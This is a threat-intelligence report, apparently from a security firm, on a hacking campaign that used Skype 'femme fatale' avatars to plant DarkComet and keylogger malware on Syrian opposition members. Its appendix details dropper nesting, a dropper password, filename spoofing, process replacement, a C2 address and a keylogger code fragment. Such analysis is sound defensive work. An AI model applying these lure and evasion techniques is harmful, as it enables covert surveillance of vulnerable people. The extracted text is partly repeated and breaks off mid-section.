BEHIND THE
SYRIAN CONFLICT’S
DIGITAL FRONT LINES
<table>
<thead>
<tr>
<th>CONTENTS</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Introduction</td>
<td>3</td>
</tr>
<tr>
<td>Key findings</td>
<td>5</td>
</tr>
<tr>
<td>I. Data theft: stealing the opposition’s plans</td>
<td>6</td>
</tr>
<tr>
<td>II. Victims: serving varied roles in the opposition</td>
<td>9</td>
</tr>
<tr>
<td>Victims Located in Syria and beyond</td>
<td>10</td>
</tr>
<tr>
<td>III. Tactics: encountering femme fatale</td>
<td>11</td>
</tr>
<tr>
<td>Chatting with female avatars</td>
<td>11</td>
</tr>
<tr>
<td>Seeding malware on social media</td>
<td>13</td>
</tr>
<tr>
<td>A fake Syrian opposition website</td>
<td>13</td>
</tr>
<tr>
<td>Social networking profiles and Facebook credential phishing</td>
<td>14</td>
</tr>
<tr>
<td>One compromised system, multiple victims</td>
<td>14</td>
</tr>
<tr>
<td>IV. Malware: a range of tools for multiple platforms</td>
<td>15</td>
</tr>
<tr>
<td>V. Potential threat group sponsorship</td>
<td>16</td>
</tr>
<tr>
<td>Lebanon: a recurring theme</td>
<td>17</td>
</tr>
<tr>
<td>Conclusion</td>
<td>18</td>
</tr>
<tr>
<td>Acknowledgements</td>
<td>18</td>
</tr>
<tr>
<td>Appendix A: malware analysis</td>
<td>19</td>
</tr>
<tr>
<td>Multi-stage self-extracting RAR dropper</td>
<td>19</td>
</tr>
<tr>
<td>ONESIZE Keylogger</td>
<td>21</td>
</tr>
<tr>
<td>BLACKSTAR, a custom dropper for the DarkComet RAT</td>
<td>24</td>
</tr>
<tr>
<td>YABROD downloader and CABLECAR launcher</td>
<td>26</td>
</tr>
<tr>
<td>Detailed analysis</td>
<td>27</td>
</tr>
<tr>
<td>Python-based backdoor shellcode launcher</td>
<td>28</td>
</tr>
<tr>
<td>Android backdoors</td>
<td>30</td>
</tr>
<tr>
<td>Malware samples</td>
<td>34</td>
</tr>
</tbody>
</table>

1 John Scott Railton is a Research Fellow at the Citizen Lab, Munk School of Global Affairs, University of Toronto and a PhD Student at UCLA
In mid-2013, ten armed units working in opposition to Syrian President Assad’s regime were planning a major operation intended to push a front forward against the Syrian government’s forces. They carefully laid out their objective—take and hold a series of positions and liberate the town of Khirbet Ghazaleh, a strategic gateway to the major city of Daraa. They used Google Earth to map their defensive lines and communicate grid coordinates.

They shared photocopied battle plans and in red ballpoint pen added defensive berms, saving their plans electronically as pictures. They planned for a battle involving between 700 and 800 opposition forces, who were divided into groups to launch separate attacks, including an ambush. They mapped out locations for reserve fighters, staging areas, and support personnel, settled on a field operations area, and planned supply routes to resource their forces. They sternly told commanders of each unit that they could make no ‘individual’ decisions without the approval of the Operations element.
THEY WOULD BEGIN

We uncovered these battle plans in the course of our ongoing threat research. It quickly became apparent that we had come across stolen documents containing the secret communications and plans of Syrian opposition forces that had fallen victim to a well-executed hacking operation. Between at least November 2013 and January 2014, the hackers stole a cache of critical documents and Skype conversations revealing the Syrian opposition’s strategy, tactical battle plans, supply needs, and troves of personal information and chat sessions belonging to the men fighting against Syrian President Bashar al-Assad’s forces. While we do not know who conducted this hacking operation, if this data was acquired by Assad’s forces or their allies it could confer a distinct battlefield advantage.

To undertake this operation, the threat group employed a familiar tactic: ensnaring its victims through conversations with seemingly sympathetic and attractive women. A female avatar would strike up a conversation on Skype and share a “personal” photo with her target. Before sending the photo she typically asked which device the victim was using—an Android phone or a computer—likely in an effort to send appropriately tailored malware. Once the target downloaded the malware-laden photo, the threat group accessed his device, rifled through files and selected and stole data identifying opposition members, their Skype chat logs and contacts, and scores of documents that shed valuable insight into military operations planned against President Assad’s forces.

the attack with a barrage of 120mm mortar fire, followed by an assault against key regime troop locations. They drew up lists of men from each unit, with names, birthdates, and other identifying information. They used formulas in a colorful Excel spreadsheet to calculate per-man ammunition needs. They arranged and assigned heavier weapons to various engagements: several tanks, a BMP fighting vehicle, 14.5mm and 23mm anti-aircraft guns, B-10 82 mm recoilless rifles, Yugoslav 90mm M79 Osa anti-tank weapons and other equipment.

Finally, they prepared and staffed medical teams and battlefield ambulances. They would have a driver, stretcher-bearer, and two armed elements for additional support.
The threat group stole hundreds of documents and some 31,107 logged Skype chat sessions that included discussions of plans and logistics of the Syrian opposition’s attacks on Assad’s forces.

Targeted individuals included armed opposition members, media activists, humanitarian aid workers, and others. The victims are located in Syria, the region and beyond.

The threat actors used female Skype avatars to chat with their targets and infect their devices with malware. “She” typically asked her intended victim if he was using Skype on an Android or a computer, in a likely attempt to send malware tailored to the device. The threat group also maintained a seemingly pro-opposition website containing links to malicious downloads and Facebook profiles with malicious links as well. They conducted these operations using servers located outside of Syria.

The threat group employed a diverse malware toolset that implied access to development resources. They used both widely available and custom malware to breach their targets, including the DarkComet RAT, a customized keylogger, and tools with different shellcode payloads.

While we have only limited indications about the origins of this threat activity, our research revealed multiple references to Lebanon both in the course of examining the malware and in the avatar’s social media use.
I. DATA THEFT: STEALING THE OPPOSITION’S PLANS

The threat group amassed a significant amount of data, from Skype account databases to planning documents and spreadsheets to photos. The victims created the majority of the data from May 2013 to December 2013. Some of the stolen Skype databases included chat history going back to 2012 and activity as recent as January 2014. The threat group chose what it stole carefully, there were only a few instances where the group downloaded movies, empty files, end user licensing agreements, baby pictures, school papers, and other seemingly extraneous material. We have summarized the major types of information contained in the stolen data in the table below:

### TYPES OF STOLEN INFORMATION

<table>
<thead>
<tr>
<th>MILITARY INFORMATION</th>
<th>POLITICAL INFORMATION</th>
<th>HUMANITARIAN ACTIVITIES AND FINANCING</th>
<th>REFUGEE PERSONAL INFORMATION</th>
<th>MEDIA AND COMMUNICATIONS</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Conversations and documents planning military operations</td>
<td>• Political strategy discussions</td>
<td>• Humanitarian needs assessments</td>
<td>• Applications for assistance by refugees to authorities in Turkey</td>
<td>• Documents and strategy information pertaining to media releases</td>
</tr>
<tr>
<td>• Details on military hardware and positions of fighting groups</td>
<td>• Political tracts, manifestos, and alliances within the opposition</td>
<td>• Lists of materials for the construction of major refugee camps</td>
<td>• Lists of aid recipients, scans of ID cards</td>
<td>• Situation reports and lists of casualties</td>
</tr>
<tr>
<td>• Names of members of fighting groups and their weapons systems</td>
<td></td>
<td>• Humanitarian financial assistance disbursement records</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Behind the Syrian Conflict’s Digital Front Lines

The threat group took a range of military-related information, and seemed to pay special attention to files that contained lists of names. We found dozens of lists identifying hundreds of fighters serving in armed opposition groups. Some lists included names and birthdates, while others noted the weapons and serial numbers each man carried, their blood types, and their phone numbers.

The threat group also stole lists of officers in Assad’s forces, and pictures of suspected Hezbollah operatives captured or killed inside Syria, as well as pictures of fighting-age men with weapons and in irregular uniforms posing for the camera or exploring battle damaged towns.

Sometimes, the threat group would take whole sets of files pertaining to upcoming large-scale military operations. These included correspondence, rosters, annotated satellite images, battle maps, orders of battle, geographic coordinates for attacks, and lists of weapons from a range of fighting groups.

We identified records of the number of Kalashnikovs and light machine guns taken, materials found, and casualties suffered during operations. One such report describes capturing a warehouse filled with chemical weapons protective equipment, suits, cleaning products, and possibly antidotes. The report did not mention whether any chemical agents were found.

The threat group also took Skype chat logs, in which mundane conversations often transitioned into sensitive communications about strategy, logistical issues, and supply routes, and frank assessments of recent engagements with the enemy. In one chat, opposition members discuss the movement of a shipment of 9M113 TOW missiles and launchers, and agree upon a time and location to handover the weapons.

The Skype chat logs likely provided the threat group with an inside view into the politics of the Syrian opposition, as individuals discussed coalitions, criticized people, and shifted alliances. In addition to the Skype logs, the threat actors also stole a large number of documents detailing opposition political structures, including the formation of political parties, political support, and shifting allegiances in the diaspora.

The threat actors also stole a wide range of material concerning humanitarian activities in Syria and bordering countries. These included many lists of humanitarian needs, such as per-family lists of blanket and mattress distribution in refugee camps. The threat actors stole records of financial assistance, and money sent per-month to opposition groups within the country.

MILITARY INFORMATION

POLITICAL INFORMATION

HUMANITARIAN ACTIVITIES

AND FINANCING
The threat group stole data such as personal updates, lists of casualties, and documents discussing investigations into the use of chemical weapons.

**MAP OF SYRIAN OPPOSITION BATTLE PLANS**

Opposition battle plans were stolen that included information about the emplacements of anti-government forces. The stolen plans are high-value artifacts that may have provided actionable military intelligence to the recipients. This redacted map shows part of an attack plan against Assad’s forces military encampment (red rectangle).

**REFUGEE PERSONAL INFORMATION**
We also found that the threat actors had stolen information pertaining to Syrian refugees in Turkey and elsewhere. Refugees must provide a range of documentation to the relevant authorities in order to receive benefits from the host country. The threat group had obtained filled-out applications for assistance and education, and even the scanned ID cards of refugees and their CVs. We found photos depicting Syrian families in Turkish refugee camps, and children next to cars in temporary refugee housing.

**MEDIA AND COMMUNICATIONS OPERATIONS**
Several of the threat group’s victims engaged in media activities on behalf of the revolution. The threat group stole data such as personal updates, lists of casualties, and documents discussing investigations into the use of chemical weapons. In some cases, the threat actors also stole composite images of fighters killed in battle, as well as the original photographs from which they were taken.

**CREDENTIALS**
The threat group also obtained user account information, possibly to continue monitoring the opposition’s communications. The threat actors collect Facebook account information through the use of a fabricated login page, and believe that they relied on Remote Access Trojans (RATs) and extensive keylogging to obtain credentials as well.
II. VICTIMS: SERVING VARIED ROLES IN THE OPPOSITION

We analyzed the stolen Skype databases to find out what roles the victims served in the opposition and to understand the connections between the victims. First, we scanned the contents of the victims’ chat logs to identify other victims. We then surmised that the number of shared contacts between the Skype accounts illustrated the relationships between victims. We were also able to ascertain more about the victims’ roles and work from the chat logs. For further explanation, see Appendix B: Social Media Analysis of Victim Skype Databases.

Profiled below are four sample victims:

<table>
<thead>
<tr>
<th>AN OPPOSITION LEADER</th>
<th>A DEFECTOR</th>
<th>A HUMANITARIAN</th>
<th>A MEDIA ACTIVIST</th>
</tr>
</thead>
<tbody>
<tr>
<td>The threat group compromised the computer of an individual who appears to be the leader of an armed unit. In addition to stealing Skype conversations about sensitive military and logistics topics, the threat actors also took a series of folders marked &quot;Very Special File&quot; that contained plans and logistics information for an upcoming battle.</td>
<td>This victim appeared to be a high-profile defector; a formerly high-ranking officer in Assad’s security services. The threat group took multiple files from his computer, including documents on forming armed coalitions and political groups and his complaints to the local Internet Service Provider about the bad service in his new home. While the threat actors had not taken Skype logs from his computer, they did take his CV and other personal documents.</td>
<td>Several victims appeared to be individuals working on supplies and humanitarian operations, including an aid coordinator for a charity based in Turkey. Among the documents stolen from his system were his CV and a picture of a border crossing showing bundles of goods passing across a river (possibly the Orontes River near Idlib).</td>
<td>The threat group targeted a young media activist who appeared to be based inside Syria, working with a local media center. The threat group compromised his computer, stealing meeting minutes, as well as a series of videos that recorded meetings with other media activists. They also took lists of casualties and documents pertaining to investigations of chemical weapon attacks.</td>
</tr>
</tbody>
</table>
Among the victims were individuals who appear to be linked to the Free Syrian Army (a set of groups united by their opposition to Assad), Islamist fighting groups, and individuals with no clear group affiliation. Some of the victims appear to operate within opposition-controlled areas of Syria, while others are more likely located within the broader diaspora networks in Lebanon, Jordan, and the Persian Gulf.

Figure 1: Geographic Location of Victims based on Victim’s Skype profiles

VICTIMS LOCATED IN SYRIA AND BEYOND
III. TACTICS: ENCOUNTERING FEMME FATALE

The threat group primarily compromised its victims using female avatars to strike up conversations on Skype and connect on Facebook. They also used a fake, pro-opposition website seeded with malicious content.

CHATTING WITH FEMALE AVATARS
The threat group created several Skype accounts with female avatars to target (male) individuals in the Syrian opposition. The female avatars, which had generic but country-appropriate names and profile images, would develop a rapport with the victim before sending a malicious file. The female avatars approached their targets with a series of personal questions that appeared to be part of a script.

The first two questions would generally be:

“how are you on Skype? On a computer or on your phone?”

“how old are you?”

We believe the first question about the victim’s Skype access determined whether the victim received malware designed to compromise a computer or a mobile device. The avatar would request a photo of the target, then send a “personal photo” of a woman in return. The avatar’s “photo” was actually an executable file (a self-extracting RAR archive) renamed with the .pif file extension. When the victim “opened” the photo, a woman’s picture was displayed while the SFXRAR executed and ultimately installed the DarkComet RAT in the background. From this point on, the victim’s computer was under the threat group’s control.

The other personal questions presumably helped the threat actors systematically collect information from each of their targets. The threat actors would sometimes reinitiate chat sessions with victims after a period of inactivity to collect additional details. For example, we observed a female avatar engage one victim in lengthy chats about Syrian refugees in Beirut. After successfully compromising the target, the conversations stopped. Later “she” briefly re-emerged to ask the victim if he had previously served in the Syrian Arab Army (Assad’s forces). After getting an affirmative answer, she again went silent.

While we did not see the threat actors deploy Android malware via Skype, they had access to Android malware (see Appendix A) that could have been used in a similar fashion.

The target receives an initial contact request from the female avatar. He accepts the request. “She” then asks, “are you using Skype on your phone or your PC?”

The avatar responds with a request for a picture. The target then sends a picture, which the avatar compliments. “She” follows up with a request for his age and says her own birthdate. He replies with apparent surprise that they have identical birthdays, though one year off.

It probably wasn’t a coincidence. His birthday is on his Skype profile, which would have been visible to the threat actor.

After they chatted a bit more, she explained that she is a “computer engineer working at a programming company in Beirut” and sends a file that the avatar claims is a picture of her.

The target becomes a victim when the picture is opened.

Note: Dates and identifying information changed to obscure target identities
SEEDING MALWARE ON SOCIAL MEDIA
The Skype avatar had a matching Facebook profile with the same photo. “Her” profile, populated with pro-opposition content, contained many posts with malicious links. The links invite visitors to install security tools like VPNs and Tor, or access important documents.

A FAKE SYRIAN OPPOSITION WEBSITE
The malware that the Skype avatars and social media profiles encouraged their victims to download shared the same host server as malware distributed through a website (80.241.223.128) purporting to be supportive of the Syrian opposition. The threat actors used this website to target opposition members interested in news about the conflict. Much of the websites’ content was scraped from the website of the Syrian American Council, a U.S.-based non-profit that advocates for democracy in Syria. In order to watch videos on this website, the viewer is prompted to download a Flash Player update that is actually malware (see Figure 4 and Figure 5).

Threat actors also included download prompts for legitimate video chat software bundled with malware.
SOCIAL NETWORKING PROFILES AND FACEBOOK CREDENTIAL PHISHING

The fake opposition website also includes what appears to be a matchmaking section (Figure 6) that covertly channels targets toward installing malware. This section of the site contains women’s profiles, each of which is populated with information indicating age, location and interests as well as other personal information. The profiles also contain links to a ‘LiveCam ID’ as well as the ‘Facebook Profile’ of each woman. Clicking on the ‘LiveCam ID’ link directs the user to a download page including Live-Chat-ooVoo-Setup.exe, a malicious bundling of ooVoo (a legitimate program). Clicking on a Facebook profile links to a fake Facebook login page that is actually a phishing page used to collect credentials (Figure 7).

ONE COMPROMISED SYSTEM, MULTIPLE VICTIMS

The threat group manually created a directory on its server for each compromised computer. These directories often contained multiple stolen Skype databases indicating that the victims shared computers. The threat group was likely able to acquire large collections of data by breaching only a relatively small number of systems due to the opposition’s use of shared computers for satellite-based Internet access.

Sharing computers is likely a function of the realities of limited internet service in Syria. The multi-day Internet and phone blackouts that began occurring in Syria in 2012 (possibly the Syrian government’s attempts to stifle opposition forces’ communication capabilities, with some exceptions4) have driven opposition groups, media activists, political groups, and others to set up their own satellite communications systems for reliable two-way satellite Internet connectivity. Typically, they use 2-way satellite communications equipment known as Very Small Aperture Terminals (VSATs) connected to consumer grade networking equipment, like Wi-Fi routers. VSATs provide an expensive Internet lifeline to many groups within opposition-controlled parts of Syria.

Due to expensive bandwidth, limited electricity, setup time, and the need to operate VSATs from a fixed location, individuals supporting a wide variety of Syrian opposition efforts often share connections and computers located in places like local media centers and operations rooms.5 As a result, a threat actor who successfully infects one person on a shared device can easily steal the Skype databases and stored documents of several targeted individuals or organizations as well.

The threat group was likely able to acquire large collections of data by breaching only a relatively small number of systems due to the opposition’s use of shared computers for satellite-based Internet access.

IV. MALWARE:
A RANGE OF TOOLS FOR MULTIPLE PLATFORMS

The threat group’s tools and tactics differ somewhat from those observed in previous activity targeting the Syrian opposition.6 Although this threat group uses the known tactic of deploying the DarkComet RAT, they do so using a multistage dropper that has not been previously observed. The group also uses a keylogger and what appear to be custom tools with shellcode payloads.

The threat actors have used these tools in conjunction with techniques such as:

- Multi-stage droppers incorporating password-protected self-extracting RAR archives
- Memory injection using process replacement
- Multi-stage payloads
- Use of an XOR key to decode a shellcode payload, where the components used to generate the XOR key are distributed in two separate files (a PDF and an EXE)

This is also the first instance we have observed a threat group targeting the Syrian opposition using Android malware. Smart phones, in general, are valuable sources of data about individuals and their social networks, as they may contain address books, SMS messages, email, and other data (including data from mobile apps, such as Skype). Targeting Android may be particularly beneficial in the case of Syrian opposition members, where regular power blackouts in Syria may force people to rely more heavily on mobile devices for communications.

Despite the wide array of tools and techniques at their disposal, the threat group does not appear to use software exploits to deliver malware to their targets. Instead, they seem to rely on a variety of social engineering techniques to trick victims into infecting themselves.

Although this threat group uses the known tactic of deploying the DarkComet RAT, they do so using a multistage dropper that has not been previously observed.

---

The threat group’s tools and tactics stand in contrast to the ways in which other Syrian groups (described publicly by a variety of researchers) have operated. In addition, while we do not have sufficient information to determine the identity of this group or the nature of its ties to Assad’s forces, we have some indications that the group may be resourced and / or located outside of Syria.

The malware used by this threat group does not share any command and control servers with previously reported activity documented by research groups including Kaspersky, Trend Micro, CitizenLab, and the Electronic Frontier Foundation (EFF). In addition, the activity does not share any of the tactics or tools with activity profiled in another recently released report on potentially ISIS-linked malware in Syria.

The threat group used a variety of malware, suggesting access to development tool resources. For example, while other Syrian threat groups have used DarkComet and other RATs extensively, this group deploys DarkComet using a custom dropper (BLACKSTAR) that may make the malware more difficult to detect. This threat group is also unique to date in leveraging the Metasploit Framework, custom malware tools (YABROD and CABLECAR), and Android malware. This demonstrates that the threat group is capable of acquiring and using a diverse malware arsenal. It remains unclear if they have developed this capacity internally or are receiving outside support.

Finally, public reports of other suspected pro-Syrian threat actors have identified those groups’ primary or fallback command and control (C2) servers as located within Syria itself (e.g., resolving to or directly referencing Syrian IP addresses, often in similar IP ranges.) However, this group’s C2 servers were located outside of Syria. This may indicate that the group is not based in Syria itself, or that its sponsor’s resources do not include the ability to provide the group with dedicated servers located in Syria.

---

5 https://citizenlab.org/2014/12/malware-attack-targeting-syrian-isis-critics/
Establishing an “Electronic Army” to infiltrate Syrian activists’ computers, websites and Internet accounts, and attempting to use stolen personal information against them.

Setting up opposition social media accounts to spread false information and make accusations and counter-accusations to create conflict between opposition members in and out of Syria.

The use of women to entrap opposition members and activists using social media sites such as Skype and Facebook.

LEBANON: A RECURRING THEME

While researching this activity, we came across numerous references to Lebanon. We observed a user in Lebanon upload what appear to be two test versions of malware used to target opposition elements (the YABROD downloader and the CABLECAR launcher). The avatars, social media seeding, and fake opposition website are also filled with references to Lebanon. During chats, for example, the female avatars often state that they are in Lebanon and demonstrate familiarity and interest in talking about issues there. Social media pages suggest that the avatars are refugees in the country, or are Lebanese.

While researching the threat group’s tactics, we came upon a reference to a 3-day training course in Lebanon in 2012 that described the use of eerily similar methods. According to media reports, a leaked Syrian intelligence memo titled “Training Course for Internet and Social Media Activists” describes the tactics that pro-Assad recruits—many of whom were Lebanese members of Hezbollah’s Islamic Resistance—were trained to use. Do note that we are unable to determine the authenticity of the document, or whether it may represent disinformation.

The training included:


http://syria-cyber-warfare-intel-leak.pen.io
CONCLUSION

At first glance, this group’s activity follows a familiar plot line: threat actors socially engineer their way into individuals’ computers and then steal data. However, like all great plots, this one comes with a twist. The group regularly asked its targets about the device they used—computer or Android phone—probably so that they could then deploy malware specifically tailored to that device. In addition to the range of military and political documents stolen, the group focused on the victim’s Skype databases, which included the victim’s contacts and real time communications, providing the threat actors with an inside view into the opposition’s relationships and plans. We suspect they often found their next targets in the victim’s Skype contacts as well. As the warzone reality of expensive satellite internet forced opposition members to rely on shared devices, compromising a single device yielded the combined plans and communications of multiple aspects of the opposition.

Unlike other threat activity that we have profiled, this is not just cyber espionage aimed at achieving an information edge or a strategic goal. Rather, this activity, which takes place in the heat of a conflict, provides actionable military intelligence for an immediate battlefield advantage. It provides the type of insight that can thwart a vital supply route, reveal a planned ambush, and identify and track key individuals. This intelligence likely serves a critical role in the adversary’s operational plans and tactical decisions. However, this tactical edge comes with a potentially devastating human cost.

ACKNOWLEDGEMENTS
Kristen Dennesen
Laura Galante
William Gibb
Erye Hernandez
Mary Beth Lee
Ned Moran
Vinay Pidathala
Michael Shoukry
Jen Weedon
Jinjian Zhai
MULTI-STAGE SELF-EXTRACTING RAR DROPPER

This threat group frequently uses social engineering to attempt to trick victims into infecting themselves by running malware disguised as a legitimate file, which we call the “lure”. In some cases the file appeared to be valid software installation program (e.g., `install_flashplayer11x32_gdrd_aih.exe`). In other cases, the group used the non-printable Unicode right-to-left override character\(^{11}\) to make executable files appear as PDFs, JPGs, or other non-malicious content (e.g., `Syrian-Girl-Against-Regime[Unicode]gpj.exe`, which would be displayed to a user as `Syrian-Girl-Against-Regime.exe.jpg`).

In each case, the “lure” file was actually a self-extracting RAR archive (SFXRAR), typically containing a decoy file and a second, password-protected SFXRAR that contained the actual malware. The files are executed to deploy the malware as shown in Figure 9.

1. The “lure” is a SFXRAR archive (“RAR 1”) that contains one or more installer batch (.bat) scripts and/or Visual Basic (.vbs) scripts (generically referred to as the “Installer”, above); a non-malicious decoy file (Word or PDF document, JPG image, or legitimate software installation program, the “Decoy”); and a second, password-protected SFXRAR archive containing the malware (the “Dropper” / “RAR 2”). Since the malware is in a password-protected file, it can’t be scanned by antivirus software. In step 1, RAR 1 executes, writes its contents to disk, and launches the installer scripts.

2. When the installer scripts execute, they provide a password to open RAR 2 and launch the decoy file.

3. The decoy file is displayed to the victim (or executed, if the decoy is a legitimate application).

4. The malware is extracted from the password-protected RAR 2 and executed, compromising the system.

For example, visitors attempting to view videos on the threat group’s fake website were prompted to download the file `install_flashplayer11x32_gdrd_aih.exe` (6608ce246612d490f3b044627a5e6d9e). While the file appeared to be an installation program for Adobe Flash, it was actually an SFXRAR archive containing the files shown in Figure 10.

The file `flashplayer11.exe` (b44da59fdaf10feabce51772f67b9a9) was the “decoy” file – a legitimate, digitally-signed Adobe binary. The file `Update-flashplayer11.sfx.exe` (a1e0d40715f66f30aad44ab4c15a474a) was a password-protected SFXRAR file. The `BBAG.bat` file extracts and launches the SFXRAR using the password “Wh@t1sTh3re” on the command line and launches the decoy to start the legitimate Flash player installation process, as shown in Figure 11.

The SFXRAR in turn extracts and executes the malicious file `flashplayer11x32_gdrd_aih.exe` (b68a7e216cb0d18030048935b67e0d68) which is a copy of the ONESIZE keylogger.
ONESIZE KEYLOGGER
ONESIZE has been distributed using the multi-stage SFXRAR dropper method described above. ONESIZE uses the GetAsyncKeyState API to intercept input from the keyboard. The malware stores logged keystrokes to %temp%\keys.txt. A sample log file is shown in Figure 12:

ONESIZE collects information about the infected computer, including the hostname, OS name, registered owner, install date, system type, BIOS version, system and input locale (to detect the language), domain, logon server, and hotfixes installed. The system information is transmitted to a hard-coded command and control (C2) server (80.241.223.128:2007), as shown in Figure 13:

![Figure 12: Content of the key log file](image)

![Figure 13: System information sent to the ONESIZE C2](image)

connect to [80.241.223.128] from Lab-PC
[80.241.223.128] 49232

Host Name: LAB-PC
OS Name: Microsoft Windows 7 Professional
OS Version: 6.1.7601 Service Pack 1 Build 7601
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: Lab
Registered Organization: ...

ONESIZE also uploads the key log file to the same C2 server. ONESIZE checks to see whether the current key pressed is greater than 0x26 and less than or equal to 0x5A, or any of the following virtual keys:

VK_OEM_COMMA
VK_OEM_2
VK_OEM_3
VK_OEM_4
VK_OEM_5
VK_OEM_6
VK_OEM_7
If so, and if the key log file is equal to or greater than 4096 bytes (0x1000) in size, the log is uploaded to the C2 server. If these conditions are not met, then the current key pressed is simply written to the log file.

ONESIZE may leverage source code from the publicly available UniLogger Keylogger. UniLogger supports Unicode, which means it is capable of logging keystrokes from keyboards configured for Unicode languages such as Arabic, Chinese, and Russian.

Both ONESIZE and UniLogger may use the same source code to record keystrokes. Figure 14 shows part of the UniLogger source code, which calls `Sleep` with the `rand` function somewhat uniquely and searches virtual-key codes from 8 to 222. Figure 15 shows a partial disassembly of ONESIZE; the `Sleep` and `rand` functions are visible, as well as the virtual key codes from 8 to 222.

---

**Figure 14: UniLogger Github source code snippet**

```
$sleep((rand() % 10) + 10);
for(sScannedKey=8; sScannedKey<222; sScannedKey++)
{
    START
    if(GetAsyncKeyState(sScannedKey)==-32767)
    {
        END
    }
```

**Figure 15: ONESIZE partial disassembly**

---

13 [http://eldeeb.net/wrdprs/?page_id=229](http://eldeeb.net/wrdprs/?page_id=229)
14 The malware determines if a key is pressed by iterating through all the virtual keys starting from 8 and ending with 222 and checking the return value of the `GetAsyncKeyState` API (a return value of -32767 (0x8001) means key down and pressed since the last check).
In this redacted, translated, and excerpted conversation the leader of an opposition fighting group is offered a fighting job: launch an attack on a particular airport. The emphasis on communications discipline, and the need for documentation are both notable. The need for photographic proof suggests a need for verification by a distant party, perhaps the “funder” who is said to be in Saudi Arabia. Perhaps photographic proof is also important for a group (or funder’s) reputation and being able to claim credit for a particular attack.

In full form, this conversation reveals several pieces of sensitive military information regarding the opposition’s approach to launching, funding, and operationalizing an attack plan. The potential real-time surveillance of opposition wartime discussions could provide the Assad regime with valuable intelligence about ongoing or planned military campaigns, identification of who funds the opposition, and how the operational financial infrastructure works.
BLACKSTAR, A CUSTOM DROPPER FOR THE DARKCOMET RAT

DarkComet is a widely available, stable, and easy to use remote administration tool (RAT) that allows a threat actor to control a compromised system. In addition to standard backdoor functions such as manipulating processes, services, the registry, and uploading and downloading files, DarkComet can also activate the webcam and microphone. Since DarkComet is so well known, security products such as antivirus software can often detect it.

This threat group uses a custom dropper which we call BLACKSTAR. BLACKSTAR contains an embedded, obfuscated binary which is a second dropper and launcher that we call REDDWARF. REDDWARF contains the actual DarkComet payload. BLACKSTAR writes REDDWARF to disk for persistence, but DarkComet itself is only ever extracted to memory by REDDWARF. Many antivirus vendors fail to detect this DarkComet backdoor because it is obfuscated inside the BLACKSTAR binary or because it is loaded into memory using process replacement.

BLACKSTAR malware performs the following actions:

1. The BLACKSTAR binary (in this case, adobereadersetup-86x.exe, 39632325327bf21f7d9cf02caf065646) is first extracted from two nested SFXRAR archives, as described above.

2. BLACKSTAR contains two resources:
   - QUYFKY\DIOKAK contains a decoder key for the configuration data and the embedded PE (REDDWARF).
   - QUYFKY\UXLNYL contains the encoded configuration data which consists of function names that the malware resolves dynamically, as well as offsets used to extract the embedded PE.

3. REDDWARF is actually contained within a Word document embedded within the BLACKSTAR binary. BLACKSTAR first finds the offset of the embedded Word file, then decodes the configuration data that includes the offset of the REDDWARF binary within the Word file. The embedded key is used to decode the embedded REDDWARF binary (8af83d74033ad3ed17af538e4ccf12092). REDDWARF is loaded into memory and executed, replacing the BLACKSTAR process in memory through a technique known as process replacement.

---

15 The resource names vary across samples, and appear to consist of six random upper-case letters.
16 The Word document is never written to disk, and may simply be intended to further mask the REDDWARF binary.
17 Process replacement replaces a legitimate binary in memory with a malicious one. First, a legitimate binary is launched in a suspended state. The content of the legitimate binary is then unmapped from memory, memory is allocated at the original binary’s location, and the content of the malicious file is written to that memory space. The main suspended thread is pointed to the memory location of the malicious code, and the thread is resumed, executing the malware. By using process replacement the malicious code will appear to be the legitimate process to many analysis tools.
4. REDDWARF contains two resources:
   - RT_RCDATA\1 which contains the DarkComet binary (24f165bf3f38245dc15b9619bc97979b);
   - RT_RCDATA\2 which contains plaintext configuration data. Similar to BLACKSTAR, the REDDWARF configuration data consists of function names that the malware resolves dynamically; the registry location that the malware should use for persistence; and (optionally) a file name that contains a script.

5. REDDWARF extracts the DarkComet backdoor and spawns a copy of itself. It uses process replacement on that copy to launch the DarkComet backdoor in memory. Finally REDDWARF copies itself to disk, maintaining persistence via the registry entry specified in its configuration file (e.g., HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\1).

We suspect that the malware authors used an automated tool to embed the DarkComet payload within the second binary and within the BLACKSTAR dropper. Interestingly, we observed at least one case where the payload may have been run through the packaging tool twice; that is, the BLACKSTAR dropper contained an embedded REDDWARF binary, which contained another BLACKSTAR dropper, which contained another REDDWARF binary, which contained the final DarkComet payload:

   • BLACKSTAR binary (itself contained within multiple SFXRAR files): GoogleUpdate.exe, 7247d42b3b4632dc7ed9d8559596ff8.
   • Embedded REDDWARF binary: 1b20ea5887775f8eddf5aecd5d220154
   • Embedded BLACKSTAR binary: 97a35a7471e0951ee4ed8581d2941601
   • Embedded REDDWARF binary: dd08f85686bd48e4bab310d8fbbf81a4
   • Embedded DarkComet payload: ae1ea30e6fb834599a8fed11a9b00314

That particular BLACKSTAR dropper (7247d42b3b4632dc7ed9d8559596ff8) was dropped by at least four different original “lure” files.

In full form, this conversation discloses opposition travel efforts and the forgery methods opposition members have sought to secure the documentation required to move in concealed fashion. The Assad regime likely places a high priority on understanding opposition movements, the identities of its personnel, and methods for traveling discreetly.

This redacted, translated and excerpted conversation appears to describe an attempt to secure forged passports and identity documents for the purpose of travel. Syrians attract much scrutiny while traveling overseas for many reasons, and a Syrian opposition member would have many motivations to conceal his or her true nationality. The reason for avoiding Turkish documents may be that a Syrian would have a difficult time pretending to be Turkish, but a much easier time with another Arabic-speaking identity.

NEEDING PASSPORTS

PERSON 1

Do you know someone that can get us some identities and Passports for travel?

PERSON 2

I have a smuggler.

He helps get [smuggle] people out.

We are not looking for a smuggler.

We want identities and passports.

We do not want them for Turkey.

We want them for the UAE and others. [The passports]

That is my brothers job, he knows about that

Aha

good

In full form, this conversation discloses opposition travel efforts and the forgery methods opposition members have sought to secure the documentation required to move in concealed fashion. The Assad regime likely places a high priority on understanding opposition movements, the identities of its personnel, and methods for traveling discreetly.
YABROD DOWNLOADER AND CABLECAR LAUNCHER

This threat group deploys a set of malware consisting of an initial downloader that we call YABROD and a
launcher that we call CABLECAR.

The YABROD downloader contains embedded shellcode (used to download and execute a second binary)
and an embedded, password-protected PDF stored in a PE resource named PDF. The PDF file is not
malicious and acts as a decoy document, displaying relevant content to its intended victim. However, the
